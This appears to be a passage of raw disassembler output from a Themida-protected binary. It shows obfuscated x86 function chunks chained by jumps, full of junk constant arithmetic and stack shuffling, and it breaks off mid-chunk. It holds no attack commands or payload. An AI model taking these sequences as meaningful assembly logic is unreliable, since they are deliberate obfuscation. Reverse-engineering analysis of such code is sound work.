loc_56FB43: ; CODE XREF: sub_573A8F+9j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_573A8F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5604FE
loc_56FB48: ; CODE XREF: sub_5604FE+9120j
mov [esp+4+var_4], ecx
push esp
jmp loc_56FEA3
; END OF FUNCTION CHUNK FOR sub_5604FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_56FB51: ; CODE XREF: sub_5620B7+4935j
pop esi
add edx, edi
jmp sub_5609A1
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56651E
loc_56FB59: ; CODE XREF: sub_56651E+A70Aj
add edi, ebp
jmp loc_567152
; END OF FUNCTION CHUNK FOR sub_56651E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574000
loc_56FB60: ; CODE XREF: sub_574000-29C7j
mov [esp+10h+var_10], ebp
mov ebp, 0F7C3FB2h
xor ebp, 0F7C3FB6h
sub esi, 7C0B13F5h
add esi, ebp
jmp loc_56A455
; END OF FUNCTION CHUNK FOR sub_574000
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572075
loc_56FB7B: ; CODE XREF: sub_572075-4DCFj
pop ebp
xor eax, ebp
pop ebp
sub ebp, 4CAF1E19h
jmp loc_569C2F
; END OF FUNCTION CHUNK FOR sub_572075
; =============== S U B R O U T I N E =======================================
sub_56FB8A proc near ; CODE XREF: sub_5666C3-3769j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560B04 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005632B5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00563714 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00563A8A SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005643AB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00565464 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00565A3A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00565E38 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005663CD SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005664C1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005687CB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056899F SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00568CC5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00569E0A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056A186 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056A729 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0056AC07 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056B4BD SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056BB59 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056BC2D SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0056CDBD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056E330 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056ED53 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056EE5F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00571B81 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00571F22 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005745C1 SIZE 0000000E BYTES
push ebp
mov ebp, 78EB7961h
jmp loc_565E38
sub_56FB8A endp
; ---------------------------------------------------------------------------
loc_56FB95: ; CODE XREF: Themida_:0056EA0Dj
add esp, 4
xor esi, ecx
pop ecx
shr esi, 6
shl esi, 4
push eax
mov eax, 0E4CF74C4h
add esi, eax
pop eax
mov edi, esi
push dword ptr [esp]
jmp loc_56E68B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56FBB4: ; CODE XREF: sub_564D26+4976j
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+24h+var_24]
pop esp
mov [esp+20h+var_20], eax
mov eax, 2DEBF8C6h
sub edi, eax
mov eax, [esp+20h+var_20]
add esp, 4
push edi
push edi
mov edi, 4F381B7Dh
sub [esp+24h+var_20], edi
pop edi
pop edx
jmp loc_5617D4
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562676
loc_56FBEB: ; CODE XREF: sub_562676+C59j
add esi, ecx
add esi, 73B9287Ah
add esi, 7B574708h
mov ecx, [esp+8+var_8]
push ebp
jmp sub_561B55
; END OF FUNCTION CHUNK FOR sub_562676
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_56FC02: ; CODE XREF: sub_5678CB-4421j
push esi
mov esi, 0CA05124h
and esi, 775D435Dh
neg esi
add esi, 7F8D8AC2h
mov ebx, esi
pop esi
jmp loc_574B21
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5753A5
loc_56FC1E: ; CODE XREF: sub_5753A5-3D2Dj
add ebp, 4
push eax
mov eax, 0D046E8Ah
neg eax
sub esp, 4
mov [esp+0Ch+var_C], esi
mov esi, 42D0277Ah
neg esi
jmp loc_56274A
; END OF FUNCTION CHUNK FOR sub_5753A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B1DC
loc_56FC3E: ; CODE XREF: sub_56B1DC-42D8j
or esi, 4E8075C1h
add esi, 300C8039h
add eax, esi
pop esi
add eax, 4
push eax
push [esp+8+var_4]
mov eax, [esp+0Ch+var_C]
jmp loc_560F33
; END OF FUNCTION CHUNK FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D359
loc_56FC5D: ; CODE XREF: sub_56D359-5C3Aj
add esp, 4
push esi
mov esi, 4
add eax, esi
push [esp+0Ch+var_C]
jmp loc_57332D
; END OF FUNCTION CHUNK FOR sub_56D359
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_56FC70: ; CODE XREF: sub_570732-5298j
mov [esp+10h+var_10], ecx
mov ecx, 4
sub edi, 25475B2h
jmp loc_56DDEB
; ---------------------------------------------------------------------------
loc_56FC83: ; CODE XREF: sub_570732-33ABj
push [esp+0Ch+var_C]
pop ebp
push edx
mov edx, esp
add edx, 4
jmp loc_56EB67
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A119
loc_56FC95: ; CODE XREF: sub_56A119+6E46j
add edi, 4
jmp loc_56304F
; END OF FUNCTION CHUNK FOR sub_56A119
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A3
loc_56FCA0: ; CODE XREF: sub_5687A3+3j
mov [esp+4+var_4], ebp
mov ebp, esp
push ecx
jmp loc_565F16
; END OF FUNCTION CHUNK FOR sub_5687A3
; ---------------------------------------------------------------------------
loc_56FCAB: ; CODE XREF: Themida_:0056B3A5j
add edi, esi
mov esi, [esp]
jmp loc_56F882
; ---------------------------------------------------------------------------
loc_56FCB5: ; CODE XREF: Themida_:005736E7j
push eax
mov eax, 48C05753h
mov edx, eax
pop eax
push ebx
jmp loc_5712D8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5745B5
loc_56FCC4: ; CODE XREF: sub_5745B5-536Fj
mov bh, ch
jmp loc_57490F
; END OF FUNCTION CHUNK FOR sub_5745B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563BCC
loc_56FCCB: ; CODE XREF: sub_563BCC+8D63j
add edi, 71DB0137h
pop edx
jmp sub_574656
; END OF FUNCTION CHUNK FOR sub_563BCC
; =============== S U B R O U T I N E =======================================
sub_56FCD7 proc near ; CODE XREF: sub_56D4B8-98BAj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00561EF3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056524E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00565502 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00566A9E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005676AD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00567BA7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00568F10 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056B1AD SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056B6C1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056F265 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00573D7F SIZE 00000011 BYTES
sub esp, 4
mov [esp+4+var_4], edx
mov edx, esp
push esi
push edi
mov edi, 4
mov esi, edi
jmp loc_56B6C1
sub_56FCD7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_56FCF0: ; CODE XREF: sub_561418+ECF8j
mov edi, [esp+0]
add esp, 4
or esi, 8E325F4h
add esi, 1CEE171Dh
sub ecx, esi
mov esi, [esp-4+arg_0]
jmp loc_57402D
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_56FD0F: ; CODE XREF: sub_56628B+AFA3j
xor [esp+10h+var_C], edx
pop edx
mov ecx, [esp+0Ch+var_C]
add esp, 4
xor ecx, 0FE7088Bh
pop edi
jmp sub_565B6E
; END OF FUNCTION CHUNK FOR sub_56628B
; ---------------------------------------------------------------------------
loc_56FD26: ; CODE XREF: Themida_:00561121j
xor edi, [esp]
mov esp, [esp]
mov [esp], dx
push ax
pushf
jmp loc_55FF9F
; =============== S U B R O U T I N E =======================================
sub_56FD38 proc near ; DATA XREF: Themida_:0055FED8o
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056020F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005603D7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005631AE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00566E8A SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0056A70C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056AD5D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056C754 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056DD73 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056F968 SIZE 0000001A BYTES
push dword ptr [esp+0]
jmp loc_56020F
sub_56FD38 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561F05
loc_56FD40: ; CODE XREF: sub_561F05+D1D8j
sub ebp, esi
jmp loc_5651AD
; END OF FUNCTION CHUNK FOR sub_561F05
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_56FD47: ; CODE XREF: sub_561418+776Aj
sub ecx, edx
jmp loc_5694EA
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573A7F
loc_56FD4E: ; CODE XREF: sub_573A7F-10932j
push edi
jmp loc_56C5C1
; END OF FUNCTION CHUNK FOR sub_573A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56FD54: ; CODE XREF: sub_57354D-130B3j
mov ebx, 4
jmp loc_56E2F9
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56102D
loc_56FD5E: ; CODE XREF: sub_56102D+4789j
add ebx, 32668414h
add ebp, 446D2D6Fh
jmp loc_562B7E
; END OF FUNCTION CHUNK FOR sub_56102D
; =============== S U B R O U T I N E =======================================
sub_56FD6F proc near ; CODE XREF: sub_569186+8j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00561560 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00562DD0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056968C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D06B SIZE 0000000F BYTES
sub esp, 4
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
pop eax
add eax, 4
jmp loc_56D06B
sub_56FD6F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_56FD84: ; CODE XREF: sub_57146D-3C37j
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp+0Eh+var_10+2]
jmp loc_56ACD5
; END OF FUNCTION CHUNK FOR sub_57146D
; =============== S U B R O U T I N E =======================================
sub_56FD97 proc near ; CODE XREF: sub_560844+8906j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00560145 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056089C SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00562A1A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00565A07 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00565E03 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00569D6D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056B3AA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056DCDA SIZE 00000019 BYTES
push ebx
mov ebx, 0AC319BCh
inc ebx
sub ebx, 0BD02A339h
mov ebp, ebx
pop ebx
sub ebp, esi
pop esi
sub eax, ebp
pop ebp
jmp loc_569D6D
sub_56FD97 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568764
loc_56FDB2: ; CODE XREF: sub_568764+3201j
add ecx, 4
jmp loc_5705F8
; END OF FUNCTION CHUNK FOR sub_568764
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572075
loc_56FDBA: ; CODE XREF: sub_572075-598j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_572075
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567B29
loc_56FDBF: ; CODE XREF: sub_567B29+5EDBj
add edx, 4
xchg edx, [esp+4+var_4]
pop esp
push edx
push 1D7Bh
mov [esp+8+var_8], eax
push 7BBh
jmp loc_56A07E
; END OF FUNCTION CHUNK FOR sub_567B29
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DFF9
loc_56FDD9: ; CODE XREF: sub_56DFF9+2Ej
mov esp, [esp+8+var_8]
mov [esp+0], ecx
jmp loc_564699
; END OF FUNCTION CHUNK FOR sub_56DFF9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_56FDE4: ; CODE XREF: sub_57146D-BC3Aj
push 508Ah
mov [esp+0Ah+var_C+2], eax
mov ah, 75h
mov dl, 95h
jmp loc_56E179
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_56FDF5: ; CODE XREF: sub_570732-9D1Dj
mov edx, [esp+4+var_4]
add esp, 4
push esi
mov esi, 4
add ebp, esi
jmp loc_56562C
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A423
loc_56FE08: ; CODE XREF: sub_56A423+1Dj
neg ecx
push 49B5h
mov [esp+10h+var_10], edx
jmp loc_572A39
; END OF FUNCTION CHUNK FOR sub_56A423
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56FE17: ; CODE XREF: sub_564D26+6582j
mov ecx, [esp+1Ch+var_1C]
add esp, 4
and ecx, 437D160Fh
xor ecx, 721D751Eh
push ecx
xor [esp+1Ch+var_1C], 210E6A74h
pop edx
jmp loc_56C891
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56626B
loc_56FE37: ; CODE XREF: sub_56626B+82F1j
push dword ptr [esp+0]
pop ecx
jmp sub_56671D
; END OF FUNCTION CHUNK FOR sub_56626B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F1DB
loc_56FE40: ; CODE XREF: sub_56F1DB-62DDj
sub ebp, 0EAF99E92h
add ebx, ebp
jmp loc_56953E
; END OF FUNCTION CHUNK FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DBB0
loc_56FE4D: ; CODE XREF: sub_56DBB0-C5EDj
mov edi, 6B3E5282h
add ebx, edi
pop edi
pop edx
sub ebx, eax
push edi
push eax
jmp loc_56CCC0
; END OF FUNCTION CHUNK FOR sub_56DBB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561826
loc_56FE5F: ; CODE XREF: sub_561826+6062j
mov [esp+2+var_2], bx
mov bp, [esp+2+var_2]
push 616Ah
mov [esp], esi
mov esi, esp
jmp loc_56550B
; END OF FUNCTION CHUNK FOR sub_561826
; ---------------------------------------------------------------------------
loc_56FE76: ; CODE XREF: Themida_:005735F4j
and edi, esi
pop esi
push eax
jmp loc_5678BA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747FA
loc_56FE7F: ; CODE XREF: sub_5747FA-143FDj
add eax, edi
add eax, 73D75CB8h
add eax, 24F96C1Ah
pop edi
xor eax, [esp-4+arg_0]
xor [esp-4+arg_0], eax
xor eax, [esp-4+arg_0]
pop esp
jmp loc_573945
; END OF FUNCTION CHUNK FOR sub_5747FA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA44
loc_56FE9B: ; CODE XREF: sub_56FA44+2F10j
add esp, 4
jmp loc_56FED3
; END OF FUNCTION CHUNK FOR sub_56FA44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5604FE
loc_56FEA3: ; CODE XREF: sub_5604FE+F64Ej
pop ecx
add ecx, 4
add ecx, 4
sub esp, 4
mov [esp+8+var_8], ecx
push [esp+8+var_4]
jmp loc_569572
; END OF FUNCTION CHUNK FOR sub_5604FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573612
loc_56FEBF: ; CODE XREF: sub_573612-EC0Dj
xchg esi, [esp+10h+var_10]
pop esp
jmp loc_56D5B6
; END OF FUNCTION CHUNK FOR sub_573612
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_56FEC8: ; CODE XREF: sub_5685B2+7D4Ej
add esi, 117F2F96h
jmp loc_56CA5B
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA44
loc_56FED3: ; CODE XREF: sub_56FA44+45Aj
add esp, 4
xchg ecx, [esp+0]
jmp loc_56F348
; END OF FUNCTION CHUNK FOR sub_56FA44
; ---------------------------------------------------------------------------
loc_56FEE1: ; CODE XREF: Themida_:005640EDj
push edi
mov edi, 1ED3296Dh
xor [esp+4], edi
pop edi
push dword ptr [esp]
jmp loc_56A1FF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CF1
loc_56FEF4: ; CODE XREF: sub_560CF1+1319Cj
push esp
push [esp+10h+var_10]
jmp loc_56568B
; END OF FUNCTION CHUNK FOR sub_560CF1
; ---------------------------------------------------------------------------
loc_56FEFD: ; CODE XREF: Themida_:005666BEj
pop ebp
push ebx
mov ebx, 537063B5h
inc ebx
add ebx, 1EC7047Ch
inc ebx
not ebx
dec ebx
jmp loc_57331E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565A8D
loc_56FF14: ; CODE XREF: sub_565A8D+F6F6j
pop edx
add edx, 4
jmp loc_569D16
; END OF FUNCTION CHUNK FOR sub_565A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566400
loc_56FF20: ; CODE XREF: sub_566400+2049j
push 3A2913E8h
pop edi
jmp loc_5627EA
; END OF FUNCTION CHUNK FOR sub_566400
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566DC7
loc_56FF2B: ; CODE XREF: sub_566DC7+73D1j
xor [esp+8+var_8], esi
xor esi, [esp+8+var_8]
mov esp, [esp+8+var_8]
add [esp+8+var_8], eax
pushf
jmp loc_562EE4
; END OF FUNCTION CHUNK FOR sub_566DC7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571890
loc_56FF3D: ; CODE XREF: sub_571890-10F9j
push esp
jmp loc_5614F7
; END OF FUNCTION CHUNK FOR sub_571890
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56FF43: ; CODE XREF: sub_564D26+C7B0j
mov [esp+8+var_8], edi
mov edi, esp
sub esp, 4
jmp loc_5627F4
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_56FF53: ; CODE XREF: sub_5685B2-5928j
pop ecx
jmp sub_563BCC
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570621
loc_56FF59: ; CODE XREF: sub_570621-8074j
xor edi, [esp+4+var_4]
pop esp
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_570621
; ---------------------------------------------------------------------------
loc_56FF62: ; CODE XREF: Themida_:00572848j
push esi
mov esi, 3578707Bh
push edi
jmp loc_56EA05
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56FF6E: ; CODE XREF: sub_564D26-2C9j
sub edx, 961A7AFEh
jmp loc_56D098
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_56FF79: ; CODE XREF: sub_5678CB-4BD5j
add edi, 4A092687h
sub edi, 42C5B133h
jmp loc_57136E
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5745B5
loc_56FF8A: ; CODE XREF: sub_5745B5-A468j
sub ch, 6Ah
mov dh, ch
pop ecx
jmp loc_5732ED
; END OF FUNCTION CHUNK FOR sub_5745B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_56FF95: ; CODE XREF: sub_57146D-95F2j
sub al, 67h
push dword ptr [esp+0]
jmp loc_5717A3
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DA43
loc_56FF9F: ; CODE XREF: sub_56DA43+2Bj
neg ecx
xor ecx, 10DD3729h
xchg ebx, ecx
neg ebx
jmp loc_570AF0
; END OF FUNCTION CHUNK FOR sub_56DA43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A75
loc_56FFB0: ; CODE XREF: sub_569A75-6D9j
not dh
push small 2A71h
mov [esp+0], bx
mov bh, 0B8h
and dh, bh
pop bx
push ecx
mov cl, 56h
neg cl
xor cl, 0DAh
sub cl, 6Ch
xor dh, cl
pop ecx
jmp loc_5610AD
; END OF FUNCTION CHUNK FOR sub_569A75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5690E8
loc_56FFD3: ; CODE XREF: sub_5690E8+7163j
add edi, edx
add edi, 4F5D17F7h
mov edx, [esp+0Ch+var_C]
jmp loc_563CF4
; END OF FUNCTION CHUNK FOR sub_5690E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_56FFE3: ; CODE XREF: sub_57549C-1134Aj
sub ecx, 0F5F5C29Bh
sub eax, ecx
mov ecx, [esp+4+var_4]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_56EE2B
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_56FFFF: ; CODE XREF: sub_574656-2E5Fj
pop esi
jmp loc_568167
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CF1
loc_570005: ; CODE XREF: sub_560CF1-567j
pop ebp
jmp loc_575132
; END OF FUNCTION CHUNK FOR sub_560CF1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572669
loc_57000B: ; CODE XREF: sub_572669-2D9Bj
add esp, 4
and ecx, edx
push [esp+8+var_8]
pop edx
jmp loc_560268
; END OF FUNCTION CHUNK FOR sub_572669
; =============== S U B R O U T I N E =======================================
sub_570019 proc near ; CODE XREF: sub_568658+11j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00563DA3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005644E1 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005652FD SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00566F8E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005680BB SIZE 00000037 BYTES
sub esp, 4
mov [esp-4+arg_0], esp
jmp loc_563DA3
sub_570019 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574949
loc_570024: ; CODE XREF: sub_574949-B8EFj
mov edx, [esp+8+var_8]
jmp loc_571AB4
; END OF FUNCTION CHUNK FOR sub_574949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_57002C: ; CODE XREF: sub_571F6F+2363j
not bl
neg bl
add bl, 9Bh
add bl, 11h
sub ah, bl
pop ebx
push eax
mov ah, 0B2h
push ecx
mov cl, 54h
or ah, cl
pop ecx
add ah, 0A1h
jmp loc_569006
; ---------------------------------------------------------------------------
loc_57004A: ; CODE XREF: sub_571F6F-B797j
add ch, bl
jmp loc_5666FF
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_570051: ; CODE XREF: sub_567D31+Cj
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+4+var_4]
jmp loc_564E29
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BC97
loc_570066: ; CODE XREF: sub_56BC97-9B4Bj
push ecx
mov ecx, 4
add edx, ecx
pop ecx
push eax
jmp loc_5630ED
; END OF FUNCTION CHUNK FOR sub_56BC97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_570075: ; CODE XREF: sub_570732-3D3Dj
mov ebx, esp
push esi
mov esi, 4
jmp loc_56F1A9
; END OF FUNCTION CHUNK FOR sub_570732
; =============== S U B R O U T I N E =======================================
sub_570082 proc near ; DATA XREF: Themida_:0055FCECo
push dword ptr [edi+40h]
jmp loc_55FF9F
sub_570082 endp
; ---------------------------------------------------------------------------
loc_57008A: ; CODE XREF: Themida_:005625C9j
mov edx, 1C2770CBh
shr edx, 1
sub edx, 2510331Eh
or edx, 5B475241h
neg edx
add edx, 0FB47D74Bh
sub ebx, 3A137ACFh
add ebx, edx
jmp loc_5657C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5696A1
loc_5700B2: ; CODE XREF: sub_5696A1+9j
mov esi, 358576ECh
add edi, esi
pop esi
push ebp
mov ebp, 5BF6308Ch
add edi, ebp
pop ebp
add edi, ecx
sub edi, 5BF6308Ch
jmp sub_56E126
; END OF FUNCTION CHUNK FOR sub_5696A1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B1DC
loc_5700D0: ; CODE XREF: sub_56B1DC-2F19j
pop eax
push edi
mov edi, 10F335D1h
xor edi, 1808574Ah
jmp loc_560F03
; END OF FUNCTION CHUNK FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56102D
loc_5700E2: ; CODE XREF: sub_56102D+6754j
pop esp
mov [esp-8+arg_4], esi
push esp
pop esi
push edx
mov edx, 6B8F19F9h
jmp loc_56AD68
; END OF FUNCTION CHUNK FOR sub_56102D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_5700F3: ; CODE XREF: sub_5605BC+FF6j
mov edx, 0EBC1A24h
sub esp, 4
jmp loc_56A0A1
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_570103: ; CODE XREF: sub_561418+15BEj
mov edi, 4D3903A0h
xor edi, 3E557EB6h
xor esi, edi
jmp loc_56FCF0
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_570115: ; CODE XREF: sub_57549C-6D2Aj
pop ecx
xor edx, 5E49F8EAh
xor ebp, edx
pop edx
push 398Fh
jmp loc_570898
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E1B8
loc_570129: ; CODE XREF: sub_56E1B8+5AC7j
pop edx
jmp loc_564507
; END OF FUNCTION CHUNK FOR sub_56E1B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_57012F: ; CODE XREF: sub_56AEF2+7A91j
pop eax
jmp loc_569D08
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_570135: ; CODE XREF: sub_56616D-9E4j
; sub_5673C3+35B6j ...
push 6E7Eh
mov [esp-14h+arg_10], edi
sub esp, 4
mov [esp-10h+arg_C], ebx
push edx
